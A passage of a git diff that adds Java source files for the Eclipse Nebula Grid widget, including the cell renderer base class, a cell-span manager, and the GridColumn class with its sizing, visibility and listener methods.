otherwise. + * @see #isAutoWidth() + */ + public void setAutoWidth(boolean enabled) + { + if (autoWidth == enabled) + return; + + checkWidget(); + autoWidth = enabled; + redraw(); + } + + /** + * Returns the value of the auto-height feature, which resizes row header width based on content. + * @return Returns whether or not the auto-width feature is enabled. + * @see #setAutoWidth(boolean) + */ + public boolean isAutoWidth() + { + return autoWidth; + } + + /** + * Sets the value of the word-wrap feature for row headers. When enabled, this feature will word-wrap the contents of row headers. + * @param enabled Set to true to enable this feature, false (default) otherwise. + * @see #isWordWrapHeader() + */ + public void setWordWrapHeader(boolean enabled) + { + if (wordWrapRowHeader == enabled) + return; + + checkWidget(); + wordWrapRowHeader = enabled; + redraw(); + } + + /** + * Returns the value of the row header word-wrap feature, which word-wraps the content of row headers. + * @return Returns whether or not the row header word-wrap feature is enabled. + * @see #setWordWrapHeader(boolean) + */ + public boolean isWordWrapHeader() + { + return wordWrapRowHeader; + } +} + + diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridCellRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridCellRenderer.java new file mode 100644 index 0000000..e38db77 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridCellRenderer.java @@ -0,0 +1,264 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Rectangle; + +/** + *

    + * NOTE: THIS WIDGET AND ITS API ARE STILL UNDER DEVELOPMENT. THIS IS A PRE-RELEASE ALPHA + * VERSION. USERS SHOULD EXPECT API CHANGES IN FUTURE VERSIONS. + *

    + * The super class for all grid cell renderers. Contains the properties specific + * to a grid cell. + * + * @author chris.gross@us.ibm.com + */ +public abstract class GridCellRenderer extends AbstractInternalWidget +{ + + private int row = 0; + + private int column = 0; + + private int alignment = SWT.LEFT; + + private boolean tree = false; + + private boolean check = false; + + private boolean rowHover = false; + + private boolean columnHover = false; + + private boolean rowFocus = false; + + private boolean cellFocus = false; + + private boolean cellSelected = false; + + private boolean wordWrap = false; + + private boolean dragging = false; + + /** + * @return Returns the row. + */ + public int getRow() + { + return row; + } + + /** + * @param row The row to set. + */ + public void setRow(int row) + { + this.row = row; + } + + /** + * @return Returns the alignment. + */ + public int getAlignment() + { + return alignment; + } + + /** + * @param alignment The alignment to set. + */ + public void setAlignment(int alignment) + { + this.alignment = alignment; + } + + /** + * @return Returns the check. + */ + public boolean isCheck() + { + return check; + } + + /** + * @param check The check to set. + */ + public void setCheck(boolean check) + { + this.check = check; + } + + /** + * @return Returns the tree. + */ + public boolean isTree() + { + return tree; + } + + /** + * @param tree The tree to set. + */ + public void setTree(boolean tree) + { + this.tree = tree; + } + + /** + * @return Returns the column. + */ + public int getColumn() + { + return column; + } + + /** + * @param column The column to set. + */ + public void setColumn(int column) + { + this.column = column; + } + + /** + * @return Returns the columnHover. + */ + public boolean isColumnHover() + { + return columnHover; + } + + /** + * @param columnHover The columnHover to set. + */ + public void setColumnHover(boolean columnHover) + { + this.columnHover = columnHover; + } + + /** + * @return Returns the rowHover. + */ + public boolean isRowHover() + { + return rowHover; + } + + /** + * @param rowHover The rowHover to set. + */ + public void setRowHover(boolean rowHover) + { + this.rowHover = rowHover; + } + + /** + * @return Returns the columnFocus. + */ + public boolean isCellFocus() + { + return cellFocus; + } + + /** + * @param columnFocus The columnFocus to set. + */ + public void setCellFocus(boolean columnFocus) + { + this.cellFocus = columnFocus; + } + + /** + * @return Returns the rowFocus. + */ + public boolean isRowFocus() + { + return rowFocus; + } + + /** + * @param rowFocus The rowFocus to set. + */ + public void setRowFocus(boolean rowFocus) + { + this.rowFocus = rowFocus; + } + + /** + * @return the cellSelected + */ + public boolean isCellSelected() + { + return cellSelected; + } + + /** + * @param cellSelected the cellSelected to set + */ + public void setCellSelected(boolean cellSelected) + { + this.cellSelected = cellSelected; + } + + /** + * Returns the bounds of the text in the cell. This is used when displaying in-place tooltips. + * If null is returned here, in-place tooltips will not be displayed. If the + * preferred argument is true then the returned bounds should be large + * enough to show the entire text. If preferred is false then the + * returned bounds should be be relative to the current bounds. + * + * @param item item to calculate text bounds. + * @param preferred true if the preferred width of the text should be returned. + * @return bounds of the text. + */ + public Rectangle getTextBounds(GridItem item, boolean preferred) + { + return null; + } + + /** + * @return the wordWrap + */ + public boolean isWordWrap() + { + return wordWrap; + } + + /** + * @param wordWrap the wordWrap to set + */ + public void setWordWrap(boolean wordWrap) + { + this.wordWrap = wordWrap; + } + + /** + * Gets the dragging state. + * + * @return Returns the dragging state. + */ + public boolean isDragging() + { + return dragging; + } + + /** + * Sets the dragging state. + * + * @param dragging The state to set. + */ + public void setDragging(boolean dragging) + { + this.dragging = dragging; + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridCellSpanManager.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridCellSpanManager.java new file mode 100644 index 0000000..689892d --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridCellSpanManager.java @@ -0,0 +1,67 @@ +/******************************************************************************* + * Copyright (c) 2009 Claes Rosell + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * Claes Rosell - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid; + +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; + +import org.eclipse.swt.graphics.Rectangle; + +class GridCellSpanManager { + List listOfCellSpanRectangles = new ArrayList(); + Rectangle lastUsedCellSpanRectangle = null; + + protected void addCellSpanInfo(int colIndex, int rowIndex, int colSpan, + int rowSpan) { + Rectangle rect = new Rectangle(colIndex, rowIndex, colSpan + 1, + rowSpan + 1); + this.listOfCellSpanRectangles.add(rect); + } + + private Rectangle findSpanRectangle(int columnIndex, int rowIndex) { + Iterator iter = listOfCellSpanRectangles.iterator(); + while (iter.hasNext()) { + Rectangle cellSpanRectangle = (Rectangle) iter.next(); + if (cellSpanRectangle.contains(columnIndex, rowIndex)) { + return cellSpanRectangle; + } + } + return null; + } + + protected boolean skipCell(int columnIndex, int rowIndex) { + this.lastUsedCellSpanRectangle = this.findSpanRectangle(columnIndex, + rowIndex); + return this.lastUsedCellSpanRectangle != null; + } + + protected void consumeCell(int columnIndex, int rowIndex) { + Rectangle rectangleToConsume = null; + + if (this.lastUsedCellSpanRectangle != null + && this.lastUsedCellSpanRectangle.contains(columnIndex, + rowIndex)) { + rectangleToConsume = this.lastUsedCellSpanRectangle; + } else { + rectangleToConsume = this.findSpanRectangle(columnIndex, rowIndex); + } + + if (rectangleToConsume != null) { + if (columnIndex >= rectangleToConsume.x + + (rectangleToConsume.width - 1) + && rowIndex >= (rectangleToConsume.y + + rectangleToConsume.height - 1)) { + this.listOfCellSpanRectangles.remove(rectangleToConsume); + } + } + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridColumn.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridColumn.java new file mode 100644 index 0000000..5ee224c --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridColumn.java @@ -0,0 +1,1415 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + * Chuck.Mastrandrea@sas.com - wordwrapping in bug 222280 + * smcduff@hotmail.com - wordwrapping in bug 222280 + * Marty Jones - custom header/footer font in bug 293743 + * Cserveny Tamas - min width in bug 295468 + * Benjamin Bortfeldt - new tooltip support in 300797 + * Thomas Halm - bugfix in 315397 + * Cserveny Tamas - bugfix in 318984 + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid; + +import org.eclipse.nebula.widgets.grid.internal.DefaultCellRenderer; +import org.eclipse.nebula.widgets.grid.internal.DefaultColumnFooterRenderer; +import org.eclipse.nebula.widgets.grid.internal.DefaultColumnHeaderRenderer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.SWTException; +import org.eclipse.swt.events.ControlListener; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Item; +import org.eclipse.swt.widgets.TypedListener; + +/** + *

    + * NOTE: THIS WIDGET AND ITS API ARE STILL UNDER DEVELOPMENT. THIS IS A + * PRE-RELEASE ALPHA VERSION. USERS SHOULD EXPECT API CHANGES IN FUTURE + * VERSIONS. + *

    + * Instances of this class represent a column in a grid widget. + *

    + *

    + *
    Styles:
    + *
    SWT.LEFT, SWT.RIGHT, SWT.CENTER, SWT.CHECK
    + *
    Events:
    + *
    Move, Resize, Selection, Show, Hide
    + *
    + * + * @author chris.gross@us.ibm.com + */ +public class GridColumn extends Item { + + private GridHeaderEditor controlEditor; + + /** + * Default width of the column. + */ + private static final int DEFAULT_WIDTH = 10; + + /** + * Parent table. + */ + private Grid parent; + + /** + * Header renderer. + */ + private GridHeaderRenderer headerRenderer = new DefaultColumnHeaderRenderer(); + + private GridFooterRenderer footerRenderer = new DefaultColumnFooterRenderer(); + + /** + * Cell renderer. + */ + private GridCellRenderer cellRenderer = new DefaultCellRenderer(); + + /** + * Width of column. + */ + private int width = DEFAULT_WIDTH; + + /** + * Sort style of column. Only used to draw indicator, does not actually sort + * data. + */ + private int sortStyle = SWT.NONE; + + /** + * Determines if this column shows toggles. + */ + private boolean tree = false; + + /** + * Does this column contain check boxes? Did the user specify SWT.CHECK in + * the constructor of the column. + */ + private boolean check = false; + + /** + * Specifies if this column should display a checkbox because SWT.CHECK was + * passed to the parent table (not necessarily the column). + */ + private boolean tableCheck = false; + + /** + * Is this column resizable? + */ + private boolean resizeable = true; + + /** + * Is this column moveable? + */ + private boolean moveable = false; + + /** + * Is a summary column in a column group. Not applicable if this column is + * not in a group. + */ + private boolean summary = true; + + /** + * Is a detail column in a column group. Not applicable if this column is + * not in a group. + */ + private boolean detail = true; + + private boolean visible = true; + + private boolean cellSelectionEnabled = true; + + private GridColumnGroup group; + + private boolean checkable = true; + + private Image footerImage; + + private String footerText = ""; + + private Font headerFont; + + private Font footerFont; + + private int minimumWidth = 0; + + private String headerTooltip = null; + + /** + * Constructs a new instance of this class given its parent (which must be a + * Grid) and a style value describing its behavior and + * appearance. The item is added to the end of the items maintained by its + * parent. + * + * @param parent + * an Grid control which will be the parent of the new instance + * (cannot be null) + * @param style + * the style of control to construct + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the parent is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the parent
    • + *
    • + * ERROR_INVALID_SUBCLASS - if this class is not an allowed + * subclass
    • + *
    + */ + public GridColumn(Grid parent, int style) { + this(parent, style, -1); + } + + /** + * Constructs a new instance of this class given its parent (which must be a + * Grid), a style value describing its behavior and appearance, + * and the index at which to place it in the items maintained by its parent. + * + * @param parent + * an Grid control which will be the parent of the new instance + * (cannot be null) + * @param style + * the style of control to construct + * @param index + * the index to store the receiver in its parent + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the parent is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the parent
    • + *
    • + * ERROR_INVALID_SUBCLASS - if this class is not an allowed + * subclass
    • + *
    + */ + public GridColumn(Grid parent, int style, int index) { + super(parent, style, index); + + init(parent, style, index); + } + + /** + * Constructs a new instance of this class given its parent column group + * (which must be a GridColumnGroup), a style value describing + * its behavior and appearance, and the index at which to place it in the + * items maintained by its parent. + * + * @param parent + * an Grid control which will be the parent of the new instance + * (cannot be null) + * @param style + * the style of control to construct + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the parent is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the parent
    • + *
    • + * ERROR_INVALID_SUBCLASS - if this class is not an allowed + * subclass
    • + *
    + */ + public GridColumn(GridColumnGroup parent, int style) { + super(parent.getParent(), style, parent.getNewColumnIndex()); + + init(parent.getParent(), style, parent.getNewColumnIndex()); + + group = parent; + + group.newColumn(this, -1); + } + + private void init(Grid table, int style, int index) { + this.parent = table; + + table.newColumn(this, index); + + if ((style & SWT.CHECK) == SWT.CHECK) { + check = true; + } + + initHeaderRenderer(); + initFooterRenderer(); + initCellRenderer(); + } + + /** + * {@inheritDoc} + */ + public void dispose() { + if (!parent.isDisposing()) { + parent.removeColumn(this); + if (group != null) + group.removeColumn(this); + + if (controlEditor != null ) { + controlEditor.dispose(); + } + } + + + super.dispose(); + } + + /** + * Initialize header renderer. + */ + private void initHeaderRenderer() { + headerRenderer.setDisplay(getDisplay()); + } + + private void initFooterRenderer() { + footerRenderer.setDisplay(getDisplay()); + } + + /** + * Initialize cell renderer. + */ + private void initCellRenderer() { + cellRenderer.setDisplay(getDisplay()); + + cellRenderer.setCheck(check); + cellRenderer.setTree(tree); + cellRenderer.setColumn(parent.indexOf(this)); + + if ((getStyle() & SWT.RIGHT) == SWT.RIGHT) { + cellRenderer.setAlignment(SWT.RIGHT); + } + + if ((getStyle() & SWT.CENTER) == SWT.CENTER) { + cellRenderer.setAlignment(SWT.CENTER); + } + + } + + /** + * Returns the header renderer. + * + * @return header renderer + */ + public GridHeaderRenderer getHeaderRenderer() { + return headerRenderer; + } + + GridFooterRenderer getFooterRenderer() { + return footerRenderer; + } + + /** + * Returns the cell renderer. + * + * @return cell renderer. + */ + public GridCellRenderer getCellRenderer() { + return cellRenderer; + } + + /** + * Returns the width of the column. + * + * @return width of column + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public int getWidth() { + checkWidget(); + return width; + } + + /** + * Sets the width of the column. + * + * @param width + * new width + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setWidth(int width) { + checkWidget(); + setWidth(width, true); + } + + void setWidth(int width, boolean redraw) { + this.width = Math.max(minimumWidth, width); + if (redraw) { + parent.setScrollValuesObsolete(); + parent.redraw(); + } + } + + /** + * Sets the sort indicator style for the column. This method does not actual + * sort the data in the table. Valid values include: SWT.UP, SWT.DOWN, + * SWT.NONE. + * + * @param style + * SWT.UP, SWT.DOWN, SWT.NONE + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setSort(int style) { + checkWidget(); + sortStyle = style; + parent.redraw(); + } + + /** + * Returns the sort indicator value. + * + * @return SWT.UP, SWT.DOWN, SWT.NONE + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public int getSort() { + checkWidget(); + return sortStyle; + } + + /** + * Adds the listener to the collection of listeners who will be notified + * when the receiver's is pushed, by sending it one of the messages defined + * in the SelectionListener interface. + * + * @param listener + * the listener which should be notified + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void addSelectionListener(SelectionListener listener) { + checkWidget(); + if (listener == null) { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + this.addListener(SWT.Selection, new TypedListener(listener)); + } + + /** + * Removes the listener from the collection of listeners who will be + * notified when the receiver's selection changes. + * + * @param listener + * the listener which should no longer be notified + * @see SelectionListener + * @see #addSelectionListener(SelectionListener) + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void removeSelectionListener(SelectionListener listener) { + checkWidget(); + this.removeListener(SWT.Selection, listener); + } + + /** + * Fires selection listeners. + */ + void fireListeners() { + Event e = new Event(); + e.display = this.getDisplay(); + e.item = this; + e.widget = parent; + + this.notifyListeners(SWT.Selection, e); + } + + /** + * Returns true if the column is visible, false otherwise. If the column is + * in a group and the group is not expanded and this is a detail column, + * returns false (and vice versa). + * + * @return true if visible, false otherwise + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean isVisible() { + checkWidget(); + if (group != null) { + if ((group.getExpanded() && !isDetail()) + || (!group.getExpanded() && !isSummary())) { + return false; + } + } + return visible; + } + + /** + * Returns the visibility state as set with {@code setVisible}. + * + * @return the visible + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean getVisible() { + checkWidget(); + return visible; + } + + /** + * Sets the column's visibility. + * + * @param visible + * the visible to set + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setVisible(boolean visible) { + checkWidget(); + + boolean before = isVisible(); + + this.visible = visible; + + if (isVisible() != before) { + if (visible) { + notifyListeners(SWT.Show, new Event()); + } else { + notifyListeners(SWT.Hide, new Event()); + } + + GridColumn[] colsOrdered = parent.getColumnsInOrder(); + boolean fire = false; + for (int i = 0; i < colsOrdered.length; i++) { + GridColumn column = colsOrdered[i]; + if (column == this) { + fire = true; + } else { + if (column.isVisible()) + column.fireMoved(); + } + } + + parent.redraw(); + } + } + + /** + * Causes the receiver to be resized to its preferred size. + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void pack() { + checkWidget(); + + GC gc = new GC(parent); + int newWidth = getHeaderRenderer().computeSize(gc, SWT.DEFAULT, + SWT.DEFAULT, this).x; + GridItem[] items = parent.getItems(); + for (int i = 0; i < items.length; i++) { + GridItem item = items[i]; + if (item.isVisible()) { + getCellRenderer().setColumn(parent.indexOf(this)); + newWidth = Math.max(newWidth, getCellRenderer().computeSize(gc, + SWT.DEFAULT, SWT.DEFAULT, item).x); + } + } + gc.dispose(); + setWidth(newWidth); + parent.redraw(); + } + + /** + * Returns true if this column includes a tree toggle. + * + * @return true if the column includes the tree toggle. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean isTree() { + checkWidget(); + return tree; + } + + /** + * Returns true if the column includes a check box. + * + * @return true if the column includes a check box. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean isCheck() { + checkWidget(); + + return check || tableCheck; + } + + /** + * Sets the cell renderer. + * + * @param cellRenderer + * The cellRenderer to set. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setCellRenderer(GridCellRenderer cellRenderer) { + checkWidget(); + + this.cellRenderer = cellRenderer; + initCellRenderer(); + } + + /** + * Sets the header renderer. + * + * @param headerRenderer + * The headerRenderer to set. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setHeaderRenderer(GridHeaderRenderer headerRenderer) { + checkWidget(); + this.headerRenderer = headerRenderer; + initHeaderRenderer(); + } + + /** + * Sets the header renderer. + * + * @param footerRenderer + * The footerRenderer to set. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setFooterRenderer(GridFooterRenderer footerRenderer) { + checkWidget(); + this.footerRenderer = footerRenderer; + initFooterRenderer(); + } + + /** + * Adds a listener to the list of listeners notified when the column is + * moved or resized. + * + * @param listener + * listener + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void addControlListener(ControlListener listener) { + checkWidget(); + if (listener == null) { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + TypedListener typedListener = new TypedListener(listener); + addListener(SWT.Resize, typedListener); + addListener(SWT.Move, typedListener); + } + + /** + * Removes the given control listener. + * + * @param listener + * listener. + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void removeControlListener(ControlListener listener) { + checkWidget(); + if (listener == null) { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + removeListener(SWT.Resize, listener); + removeListener(SWT.Move, listener); + } + + /** + * Fires moved event. + */ + void fireMoved() { + Event e = new Event(); + e.display = this.getDisplay(); + e.item = this; + e.widget = parent; + + this.notifyListeners(SWT.Move, e); + } + + /** + * Fires resized event. + */ + void fireResized() { + Event e = new Event(); + e.display = this.getDisplay(); + e.item = this; + e.widget = parent; + + this.notifyListeners(SWT.Resize, e); + } + + /** + * Adds or removes the columns tree toggle. + * + * @param tree + * true to add toggle. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setTree(boolean tree) { + checkWidget(); + + this.tree = tree; + cellRenderer.setTree(tree); + parent.redraw(); + } + + /** + * Returns the column alignment. + * + * @return SWT.LEFT, SWT.RIGHT, SWT.CENTER + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public int getAlignment() { + checkWidget(); + return cellRenderer.getAlignment(); + } + + /** + * Sets the column alignment. + * + * @param alignment + * SWT.LEFT, SWT.RIGHT, SWT.CENTER + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setAlignment(int alignment) { + checkWidget(); + cellRenderer.setAlignment(alignment); + } + + /** + * Returns true if this column is moveable. + * + * @return true if moveable. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean getMoveable() { + checkWidget(); + return moveable; + } + + /** + * Sets the column moveable or fixed. + * + * @param moveable + * true to enable column moving + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setMoveable(boolean moveable) { + checkWidget(); + this.moveable = moveable; + parent.redraw(); + } + + /** + * Returns true if the column is resizeable. + * + * @return true if the column is resizeable. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean getResizeable() { + checkWidget(); + return resizeable; + } + + /** + * Sets the column resizeable. + * + * @param resizeable + * true to make the column resizeable + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setResizeable(boolean resizeable) { + checkWidget(); + this.resizeable = resizeable; + } + + /** + * Returns the column group if this column was created inside a group, or + * {@code null} otherwise. + * + * @return the column group. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public GridColumnGroup getColumnGroup() { + checkWidget(); + return group; + } + + /** + * Returns true if this column is set as a detail column in a column group. + * Detail columns are shown when the group is expanded. + * + * @return true if the column is a detail column. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean isDetail() { + checkWidget(); + return detail; + } + + /** + * Sets the column as a detail column in a column group. Detail columns are + * shown when a column group is expanded. If this column was not created in + * a column group, this method has no effect. + * + * @param detail + * true to show this column when the group is expanded. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setDetail(boolean detail) { + checkWidget(); + this.detail = detail; + } + + /** + * Returns true if this column is set as a summary column in a column group. + * Summary columns are shown when the group is collapsed. + * + * @return true if the column is a summary column. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean isSummary() { + checkWidget(); + return summary; + } + + /** + * Sets the column as a summary column in a column group. Summary columns + * are shown when a column group is collapsed. If this column was not + * created in a column group, this method has no effect. + * + * @param summary + * true to show this column when the group is collapsed. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setSummary(boolean summary) { + checkWidget(); + this.summary = summary; + } + + /** + * Returns the bounds of this column's header. + * + * @return bounds of the column header + */ + Rectangle getBounds() { + Rectangle bounds = new Rectangle(0, 0, 0, 0); + + if (!isVisible()) { + return bounds; + } + + Point loc = parent.getOrigin(this, null); + bounds.x = loc.x; + bounds.y = loc.y; + bounds.width = getWidth(); + bounds.height = parent.getHeaderHeight(); + if (getColumnGroup() != null) { + bounds.height -= parent.getGroupHeaderHeight(); + } + + return bounds; + } + + /** + * @return the tableCheck + */ + protected boolean isTableCheck() { + return tableCheck; + } + + /** + * @param tableCheck + * the tableCheck to set + */ + protected void setTableCheck(boolean tableCheck) { + this.tableCheck = tableCheck; + + cellRenderer.setCheck(tableCheck || check); + } + + /** + * Returns true if cells in the receiver can be selected. + * + * @return the cellSelectionEnabled + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean getCellSelectionEnabled() { + checkWidget(); + return cellSelectionEnabled; + } + + /** + * Sets whether cells in the receiver can be selected. + * + * @param cellSelectionEnabled + * the cellSelectionEnabled to set + * @throws org.eclipse.swt.SWTException + *
      + *
